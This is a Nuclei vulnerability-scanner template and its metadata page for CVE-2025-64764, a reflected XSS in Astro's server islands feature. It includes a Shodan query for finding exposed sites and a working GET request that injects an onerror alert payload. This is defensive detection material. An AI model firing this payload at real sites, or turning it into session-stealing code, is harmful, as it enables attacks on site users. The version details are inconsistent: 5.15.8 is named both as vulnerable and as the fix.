CVE-2025-64764: Astro - Reflected XSS via server islands feature
- Template: CVE-2025-64764
- Name: Astro - Reflected XSS via server islands feature
- Description: Astro 5.15.8 contains a reflected XSS caused by improper handling of server islands feature, letting remote attackers execute scripts, exploit requires use of server islands in the application.
- Impact: Remote attackers can execute scripts in users' browsers, potentially leading to session hijacking or data theft.
- Remediation: Update to version 5.15.8 or later.
- Severity: high
- Authors: DhiyaneshDk, zhero___
- Tags: cve, cve2025, astro, xss, vkev, vuln
- References: https://zhero-web-sec.github.io/research-and-things/unlocking-reflected-xss-in-the-astro-framework
- Cves: CVE-2025-64764
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2025/CVE-2025-64764.yaml
- Digest: 4b0a00483046022100d5d5b68878bdb973b1eb76ef688075708592992bac4c1cc6652a403e5cd49232022100bacef0ab118df302eeab08ce193705133197b76f489fc230c2f5e418e0696dd0
- Created at: 2025-11-24T02:52:58Z
- Updated at: 2026-09-08T09:47:47Z
- Age in days: 365
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-64764.yaml
- Checked, none or zero: products
Classification
- Checked, none or zero: cwe
- Not known: cvss score, cvss vector, epss score, epss percentile, cpe
Metadata
- Max-request: 2
- Shodan-query: html:"_server-islands"
- Verified: yes
Labels
- Name: Astro - Reflected XSS
- Impact: Remote attackers can execute scripts in users' browsers, potentially leading to session hijacking or data theft.
- Remediation: Update to version 5.15.8 or later.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2025-64764
- Not known: requirements
```yaml
id: CVE-2025-64764
info:
name: Astro - Reflected XSS via server islands feature
author: DhiyaneshDk,zhero___
severity: high
description: |
Astro 5.15.8 contains a reflected XSS caused by improper handling of server islands feature, letting remote attackers execute scripts, exploit requires use of server islands in the application.
impact: |
Remote attackers can execute scripts in users' browsers, potentially leading to session hijacking or data theft.
remediation: |
Update to version 5.15.8 or later.
reference:
- https://zhero-web-sec.github.io/research-and-things/unlocking-reflected-xss-in-the-astro-framework
metadata:
verified: true
max-request: 2
shodan-query: html:"_server-islands"
tags: cve,cve2025,astro,xss,vkev,vuln
variables:
rand: "{{to_lower(rand_text_alpha(5))}}"
http:
- method: GET
path:
- "{{BaseURL}}/"
host-redirects: true
max-redirects: 2
matchers:
- type: regex
part: body
regex:
- '/_server-islands/[^?]+\?e='
internal: true
extractors:
- type: regex
name: value
part: body
internal: true
group: 1
regex:
- '/_server-islands/([^?]+)\?e='
- raw:
- |
GET /_server-islands/{{value}}?e=file&p=&s={"{{rand}}":"<img+src=x+onerror=alert(0)>"} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "<img src=x onerror=alert(0)>")'
condition: and
digest: 4b0a00483046022100d5d5b68878bdb973b1eb76ef688075708592992bac4c1cc6652a403e5cd49232022100bacef0ab118df302eeab08ce193705133197b76f489fc230c2f5e418e0696dd0:922c64590222798bb761d5b6d8e72950
```